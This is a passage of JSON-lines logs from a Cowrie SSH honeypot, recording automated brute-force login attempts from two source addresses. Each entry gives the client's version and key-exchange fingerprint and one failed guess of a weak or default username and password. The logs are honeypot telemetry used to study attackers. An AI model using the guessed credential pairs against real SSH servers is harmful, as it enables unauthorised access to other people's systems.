{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:34.982547Z","src_ip":"192.109.200.78","session":"255d7fbb5505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:35.063491Z","src_ip":"192.109.200.78","session":"255d7fbb5505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"modzmodz","message":"login attempt [admin1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:35.308454Z","src_ip":"192.109.200.78","session":"255d7fbb5505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:36.393739Z","src_ip":"192.109.200.78","session":"255d7fbb5505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59264,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1733444c2c7","protocol":"ssh","message":"New connection: 192.109.200.78:59264 (10.17.0.5:22) [session: d1733444c2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:38.477640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:38.481711Z","src_ip":"192.109.200.78","session":"d1733444c2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:38.563616Z","src_ip":"192.109.200.78","session":"d1733444c2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:39.002330Z","src_ip":"192.109.200.78","session":"d1733444c2c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:40.086203Z","src_ip":"192.109.200.78","session":"d1733444c2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51662,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa6273ba2e1b","protocol":"ssh","message":"New connection: 192.109.200.78:51662 (10.17.0.5:22) [session: fa6273ba2e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:42.106642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:42.110067Z","src_ip":"192.109.200.78","session":"fa6273ba2e1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:42.189793Z","src_ip":"192.109.200.78","session":"fa6273ba2e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:42.433845Z","src_ip":"192.109.200.78","session":"fa6273ba2e1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:43.517236Z","src_ip":"192.109.200.78","session":"fa6273ba2e1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":36800,"dst_ip":"159.203.135.109","dst_port":22,"session":"f50b17545af7","protocol":"ssh","message":"New connection: 152.32.171.213:36800 (159.203.135.109:22) [session: f50b17545af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:44.238719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:44.241849Z","src_ip":"152.32.171.213","session":"f50b17545af7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:44.461321Z","src_ip":"152.32.171.213","session":"f50b17545af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Password","message":"login attempt [ftpuser/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:45.359819Z","src_ip":"152.32.171.213","session":"f50b17545af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51668,"dst_ip":"10.17.0.5","dst_port":22,"session":"7359c1058394","protocol":"ssh","message":"New connection: 192.109.200.78:51668 (10.17.0.5:22) [session: 7359c1058394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:45.545051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:45.548679Z","src_ip":"192.109.200.78","session":"7359c1058394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:45.629543Z","src_ip":"192.109.200.78","session":"7359c1058394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:45.878298Z","src_ip":"192.109.200.78","session":"7359c1058394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:46.577949Z","src_ip":"152.32.171.213","session":"f50b17545af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:46.961713Z","src_ip":"192.109.200.78","session":"7359c1058394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51674,"dst_ip":"10.17.0.5","dst_port":22,"session":"00e86ee14dcd","protocol":"ssh","message":"New connection: 192.109.200.78:51674 (10.17.0.5:22) [session: 00e86ee14dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:49.010273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:49.014954Z","src_ip":"192.109.200.78","session":"00e86ee14dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:49.099938Z","src_ip":"192.109.200.78","session":"00e86ee14dcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:49.612455Z","src_ip":"192.109.200.78","session":"00e86ee14dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:50.696310Z","src_ip":"192.109.200.78","session":"00e86ee14dcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57254,"dst_ip":"10.17.0.5","dst_port":22,"session":"3061b86c78ab","protocol":"ssh","message":"New connection: 192.109.200.78:57254 (10.17.0.5:22) [session: 3061b86c78ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:52.762620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:52.767025Z","src_ip":"192.109.200.78","session":"3061b86c78ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:52.847585Z","src_ip":"192.109.200.78","session":"3061b86c78ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad123","message":"login attempt [milad/milad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:53.091061Z","src_ip":"192.109.200.78","session":"3061b86c78ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:54.176369Z","src_ip":"192.109.200.78","session":"3061b86c78ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57270,"dst_ip":"10.17.0.5","dst_port":22,"session":"af786c404388","protocol":"ssh","message":"New connection: 192.109.200.78:57270 (10.17.0.5:22) [session: af786c404388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:56.181298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:56.188304Z","src_ip":"192.109.200.78","session":"af786c404388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:56.269269Z","src_ip":"192.109.200.78","session":"af786c404388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:56.512342Z","src_ip":"192.109.200.78","session":"af786c404388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:57.595962Z","src_ip":"192.109.200.78","session":"af786c404388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57276,"dst_ip":"10.17.0.5","dst_port":22,"session":"429b29e3ad83","protocol":"ssh","message":"New connection: 192.109.200.78:57276 (10.17.0.5:22) [session: 429b29e3ad83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:59.833897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:59.839949Z","src_ip":"192.109.200.78","session":"429b29e3ad83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-